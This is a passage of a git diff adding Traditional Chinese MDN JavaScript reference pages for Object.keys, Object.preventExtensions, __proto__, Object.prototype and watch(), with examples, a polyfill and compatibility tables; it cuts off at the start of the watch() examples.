+// 類似陣列的物件
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.keys(obj)); // console: ['0', '1', '2']
+
+// 擁有隨機 key 排序，類似陣列的物件
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.keys(an_obj)); // console: ['2', '7', '100']
+
+// getFoo 不是可列舉的屬性
+var my_obj = Object.create({}, {
+  getFoo: {
+    value: function() { return this.foo; }
+  }
+});
+my_obj.foo = 1;
+
+console.log(Object.keys(my_obj)); // console: ['foo']
+</pre>
+
+<p>如果想取得物件的所有屬性，包括非可列舉的屬性，請參閱 {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<h2 id="備註">備註</h2>
+
+<p>在 ES5 中，如果這個方法的參數不是一個標準物件(例如原始型別)，將會產生 {{jsxref("TypeError")}}錯誤。而在 ES2015，非物件的參數將會強制轉換成物件。</p>
+
+<pre class="brush: js">Object.keys("foo");
+// TypeError: "foo" is not an object (ES5 code)
+
+Object.keys("foo");
+// ["0", "1", "2"]                   (ES2015 code)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>如需在原生不支援、較舊的環境中增加 <code>Object.keys</code> 的相容性，請複製以下片段：</p>
+
+<pre class="brush: js">// From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+if (!Object.keys) {
+  Object.keys = (function() {
+    'use strict';
+    var hasOwnProperty = Object.prototype.hasOwnProperty,
+        hasDontEnumBug = !({ toString: null }).propertyIsEnumerable('toString'),
+        dontEnums = [
+          'toString',
+          'toLocaleString',
+          'valueOf',
+          'hasOwnProperty',
+          'isPrototypeOf',
+          'propertyIsEnumerable',
+          'constructor'
+        ],
+        dontEnumsLength = dontEnums.length;
+
+    return function(obj) {
+      if (typeof obj !== 'object' &amp;&amp; (typeof obj !== 'function' || obj === null)) {
+        throw new TypeError('Object.keys called on non-object');
+      }
+
+      var result = [], prop, i;
+
+      for (prop in obj) {
+        if (hasOwnProperty.call(obj, prop)) {
+          result.push(prop);
+        }
+      }
+
+      if (hasDontEnumBug) {
+        for (i = 0; i &lt; dontEnumsLength; i++) {
+          if (hasOwnProperty.call(obj, dontEnums[i])) {
+            result.push(dontEnums[i]);
+          }
+        }
+      }
+      return result;
+    };
+  }());
+}
+</pre>
+
+<p>請注意以上的代碼片段在 IE7 中( IE8 也有可能 )，從不同的 window 傳入物件將包含非可列舉的 key 。</p>
+
+<p>較精簡的瀏覽器 Polyfill，請參閱 <a href="http://tokenposts.blogspot.com.au/2012/04/javascript-objectkeys-browser.html">Javascript - Object.keys Browser Compatibility</a>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.values()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.entries()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/preventextensions/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/preventextensions/index.html
new file mode 100644
index 0000000000..bc046cf87b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/preventextensions/index.html
@@ -0,0 +1,179 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.preventExtensions()</strong></code> 用來避免物件被新增新的屬性。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Object.preventExtensions(<var>obj</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>要被用作無法擴充的物件。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>物件如果可以被增加新的屬性，我們稱它可以被擴充(extensible)。<code>Object.preventExtensions()</code> 標註物件使它無法被擴充，所以在它被標註為無法擴充當下，它將無法再增加新的屬性。不過注意一點，在一般狀況下，被標註為無法擴充的物件，其屬性仍可被刪除(<em>deleted</em>)。嘗試去增加屬性將會導致失敗，可能會沒有結果產生，或是傳回一個 {{jsxref("TypeError")}} (最常見，但並不是一定，當在{{jsxref("Functions_and_function_scope/Strict_mode", "strict mode", "", 1)}})。</p>
+
+<p><code>Object.preventExtensions() 只有避免物件被增加屬性，屬性仍可以被增加至 </code>object prototype 。不過，呼叫 <code>Object.preventExtensions() 使用在物件上，就可以使其 </code>{{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 屬性無法被擴充。</p>
+
+<p>如果能把可擴充物件，轉成無法擴充物件，在 ECMAScript 5 規範中，它並沒有任何方法轉回來。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">// Object.preventExtensions 傳回一個被無法擴充的物件
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// 預設下，物件可以被擴充
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...但是以下情況之後，無法再被變更。
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// Object.defineProperty throws 當為無法擴充的物件增加屬性
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+Object.defineProperty(nonExtensible, 'new', { value: 8675309 }); // throws a TypeError
+
+// 在 strict mode 中，嘗試去新增屬性給無法擴充物件，將 throws 出一個 TypeError。
+function fail() {
+  'use strict';
+  nonExtensible.newProperty = 'FAIL'; // throws a TypeError
+}
+fail();
+
+// EXTENSION (only works in engines supporting __proto__
+// (which is deprecated. Use Object.getPrototypeOf instead)):
+// A non-extensible object's prototype is immutable.
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hai' }; // throws a TypeError
+</pre>
+
+<h2 id="筆記">筆記</h2>
+
+<p>在ES5中，如果給祝個方法的參數為非物件，它將造成一個 {{jsxref("TypeError")}} 。不過在 ES6 中，非物件參數會被正常處理。另外，如果它原本就是個無法擴充物件，就只是回傳本身。</p>
+
+<pre class="brush: js">Object.preventExtensions(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.preventExtensions(1);
+// 1                             (ES6 code)
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容度">瀏覽器相容度</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td>ES6 behavior for non-object argument</td>
+   <td>{{CompatChrome("44")}}</td>
+   <td>{{CompatGeckoDesktop("35.0")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("31")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES6 behavior for non-object argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="閱讀更多">閱讀更多</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/proto/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/proto/index.html
new file mode 100644
index 0000000000..5ba5c8f615
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/proto/index.html
@@ -0,0 +1,137 @@
+---
+title: Object.prototype.__proto__
+slug: Web/JavaScript/Reference/Global_Objects/Object/proto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto
+---
+<div class="warning">
+<p><strong>Warning:</strong> 基於現代Javascript引擎最佳化物件屬性存取的方法，改變一個物件的 <code>[[Prototype]]</code> 在任何瀏覽器或是Javascript引擎都是非常慢的操作?。改變繼承屬性對效能的影響微妙且深遠，不僅僅只是影響執行 <code>obj.__proto__ = ...</code> 的時間，而是會影響到所有有存取到被改變 <code>[[Prototype]]</code> 的物件的程式碼的執行時間。如果你在乎效能的話就應該避免改變一個物件的 <code>[[Prototype]]</code> 。反之，請用 {{jsxref("Object.create()")}} 來產生一個擁有 <code>[[Prototype]]</code> 的物件。</p>
+</div>
+
+<div class="warning">
+<p><strong>Warning:</strong> 雖然 <code>Object.prototype.__proto__</code> 在今日已經被絕大部分的瀏覽器所支援，其存在與確切的行為只有在 ECMAScript 2015 規範才被標準化成一個歷史功能來確保相容性。為了更好的支援，建議使用{{jsxref("Object.getPrototypeOf()")}}。</p>
+</div>
+
+<div>{{JSRef}}</div>
+
+<p>The <code>__proto__</code> property of {{jsxref("Object.prototype")}} is an accessor property (a getter function and a setter function) that exposes the internal <code>[[Prototype]]</code> (either an object or {{jsxref("Global_Objects/null", "null")}}) of the object through which it is accessed.</p>
+
+<p>The use of <code>__proto__</code> is controversial, and has been discouraged. It was never originally included in the EcmaScript language spec, but modern browsers decided to implement it anyway. Only recently, the <code>__proto__</code> property has been standardized in the ECMAScript 2015 language specification for web browsers to ensure compatibility, so will be supported into the future. It is deprecated in favor of {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} and {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (though still, setting the <code>[[Prototype]]</code> of an object is a slow operation that should be avoided if performance is a concern).</p>
+
+<p>The <code>__proto__</code> property can also be used in an object literal definition to set the object <code>[[Prototype]]</code> on creation, as an alternative to {{jsxref("Object.create()")}}. See: <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var Circle = function () {};
+var shape = {};
+var circle = new Circle();
+
+// Set the object prototype.
+// DEPRECATED. This is for example purposes only. DO NOT DO THIS in real code.
+shape.__proto__ = circle;
+
+// Get the object prototype
+console.log(shape.__proto__ === circle); // true
+</pre>
+
+<pre class="brush: js">var shape = function () {};
+var p = {
+    a: function () {
+        console.log('aaa');
+    }
+};
+shape.prototype.__proto__ = p;
+
+var circle = new shape();
+circle.a(); // aaa
+console.log(shape.prototype === circle.__proto__); // true
+
+// or
+var shape = function () {};
+var p = {
+    a: function () {
+        console.log('a');
+    }
+};
+
+var circle = new shape();
+circle.__proto__ = p;
+circle.a(); // a
+console.log(shape.prototype === circle.__proto__); // false
+
+// or
+function test() {};
+test.prototype.myname = function () {
+    console.log('myname');
+};
+
+var a = new test();
+console.log(a.__proto__ === test.prototype); // true
+a.myname(); // myname
+
+
+// or
+var fn = function () {};
+fn.prototype.myname = function () {
+    console.log('myname');
+};
+
+var obj = {
+    __proto__: fn.prototype
+};
+
+obj.myname(); // myname
+</pre>
+
+<p>Note: that is two underscores, followed by the five characters "proto", followed by two more underscores.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>__proto__</code> getter function exposes the value of the internal <code>[[Prototype]]</code> of an object. For objects created using an object literal, this value is {{jsxref("Object.prototype")}}. For objects created using array literals, this value is {{jsxref("Array.prototype")}}. For functions, this value is {{jsxref("Function.prototype")}}. For objects created using <code>new fun</code>, where <code>fun</code> is one of the built-in constructor functions provided by JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, and so on — including new constructors added as JavaScript evolves), this value is always <code>fun.prototype</code>. For objects created using <code>new fun</code>, where <code>fun</code> is a function defined in a script, this value is the value of <code>fun.prototype</code>. (That is, if the constructor didn't return an other object explicitly, or the <code>fun.prototype</code> has been reassigned since the instance was created).</p>
+
+<p>The <code>__proto__</code> setter allows the <code>[[Prototype]]</code> of an object to be mutated. The object must be extensible according to {{jsxref("Object.isExtensible()")}}: if it is not, a {{jsxref("Global_Objects/TypeError", "TypeError")}} is thrown. The value provided must be an object or {{jsxref("Global_Objects/null", "null")}}. Providing any other value will do nothing.</p>
+
+<p>To understand how prototypes are used for inheritance, see guide article <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a>.</p>
+
+<p>The <code>__proto__</code> property is a simple accessor property on {{jsxref("Object.prototype")}} consisting of a getter and setter function. A property access for <code>__proto__</code> that eventually consults {{jsxref("Object.prototype")}} will find this property, but an access that does not consult {{jsxref("Object.prototype")}} will not find it. If some other <code>__proto__</code> property is found before {{jsxref("Object.prototype")}} is consulted, that property will hide the one found on {{jsxref("Object.prototype")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Included in the (normative) annex for additional ECMAScript legacy features for Web browsers (note that the specification codifies what is already in implementations).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.proto")}}</p>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>While the ECMAScript 2015 specification dictates that support for <code>__proto__</code> is required <em>only</em> for web browsers (although being normative), other environments may support it as well for legacy usage.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/prototype/index.html
new file mode 100644
index 0000000000..21c2a53985
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
+tags:
+  - JavaScript
+  - Object
+  - 待翻譯
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.prototype</strong></code> 代表 {{jsxref("Object")}} 的原型物件。</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="描述">描述</h2>
+
+<p>All objects in JavaScript are descended from {{jsxref("Object")}}; all objects inherit methods and properties from <code>Object.prototype</code>, although they may be overridden (except an <code>Object</code> with a <code>null</code> prototype, i.e. <code>Object.create(null)</code>). For example, other constructors' prototypes override the <code>constructor</code> property and provide their own {{jsxref("Object.prototype.toString()", "toString()")}} methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Specifies the function that creates an object's prototype.</dd>
+ <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>Points to the object which was used as prototype when the object was instantiated.</dd>
+ <dt>{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
+ <dd>Allows a function to be defined that will be executed when an undefined object member is called as a method.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Used to return the number of enumerable properties directly on a user-defined object, but has been removed.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Used to point to an object's context, but has been removed.</s></dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associates a function with a property that, when accessed, executes that function and returns its return value.</dd>
+ <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associates a function with a property that, when set, executes that function which modifies the property.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the function associated with the specified property by the {{jsxref("Object.defineGetter", "__defineGetter__")}} method.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the function associated with the specified property by the {{jsxref("Object.defineSetter", "__defineSetter__")}} method.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Returns a boolean indication whether the specified object is in the prototype chain of the object this method is called upon.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Returns a boolean indicating if the internal <a href="/en-US/docs/ECMAScript_DontEnum_attribute" title="ECMAScript_DontEnum_attribute">ECMAScript DontEnum attribute</a> is set.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns string containing the source of an object literal representing the object that this method is called upon; you can use this value to create a new object.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Calls {{jsxref("Object.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Returns a string representation of the object.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>Removes a watchpoint from a property of the object.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of the specified object.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>Adds a watchpoint to a property of the object.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Used to evaluate a string of JavaScript code in the context of the specified object, but has been removed.</s></dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>因為 JavaScript 並沒有子類別的物件，所以原型是個很有用的解決辦法, 使某些函數作為物件的基本類別物件。例如：</p>
+
+<pre class="brush: js">var Person = function() {
+  this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name);
+  }
+};
+
+var Employee = function(name, title) {
+  Person.call(this);
+  this.name = name;
+  this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+Employee.prototype.constructor = Employee;
+
+Employee.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name + ', the ' + this.title);
+  }
+};
+
+var Customer = function(name) {
+  Person.call(this);
+  this.name = name;
+};
+
+Customer.prototype = Object.create(Person.prototype);
+Customer.prototype.constructor = Customer;
+
+var Mime = function(name) {
+  Person.call(this);
+  this.name = name;
+  this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+Mime.prototype.constructor = Mime;
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/watch/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/watch/index.html
new file mode 100644
index 0000000000..9dc8afa27f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/watch/index.html
@@ -0,0 +1,191 @@
+---
+title: Object.prototype.watch()
+slug: Web/JavaScript/Reference/Global_Objects/Object/watch
+translation_of: Archive/Web/JavaScript/Object.watch
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p><strong>Warning:</strong> Generally you should avoid using <code>watch()</code> and {{jsxref("Object.prototype.unwatch", "unwatch()")}} when possible. These two methods are implemented only in Gecko, and they're intended primarily for debugging use. In addition, using watchpoints has a serious negative impact on performance, which is especially true when used on global objects, such as <code>window</code>. You can usually use <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">setters and getters</a> or proxies instead. See {{anch("Browser compatibility")}} for details. Also, do not confuse {{jsxref("Object.prototype.watch", "Object.watch")}} with {{jsxref("Object.prototype.observe", "Object.observe")}}.</p>
+</div>
+
+<p>The <code><strong>watch()</strong></code> method watches for a property to be assigned a value and runs a function when that occurs.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.watch(<var>prop</var>, <var>handler</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>所需要監聽其值是否改變的物件屬性</dd>
+ <dt><code>handler</code></dt>
+ <dd>當監聽的變數其數值變換時所執行的function</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Watches for assignment to a property named <code>prop</code> in this object, 呼叫 <code>handler(prop, oldval, newval)</code> whenever <code>prop</code> is set and storing the return value in that property. A watchpoint can filter (or nullify) the value assignment, by returning a modified <code>newval</code> (or by returning <code>oldval</code>).</p>
+
+<p>當你刪掉所監聽的物件屬性，並不會結束針對該物件屬性的監聽。當你重新產生該屬性時，監聽依舊維持作用。</p>
+
+<p>要停止該次監聽, 須使用 {{jsxref("Object.unwatch", "unwatch()")}} 函式. By default, the <code>watch</code> method is inherited by every object descended from {{jsxref("Object")}}.</p>
+
+<p>The JavaScript debugger has functionality similar to that provided by this method, as well as other debugging options. For information on the debugger, see <a href="/en-US/docs/Venkman">Venkman</a>.</p>
+
+<p>In Firefox, <code>handler</code> is only called from assignments in script, not from native code. For example, <code>window.watch('location', myHandler)</code> will not call <code>myHandler</code> if the user clicks a link to an anchor within the current document. However, <code>window.location += '#myAnchor'</code> will call <code>myHandler</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Calling <code>watch()</code> on an object for a specific property overrides any previous handler attached for that property.</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用watch_和_unwatch">使用watch 和 unwatch</h3>
+
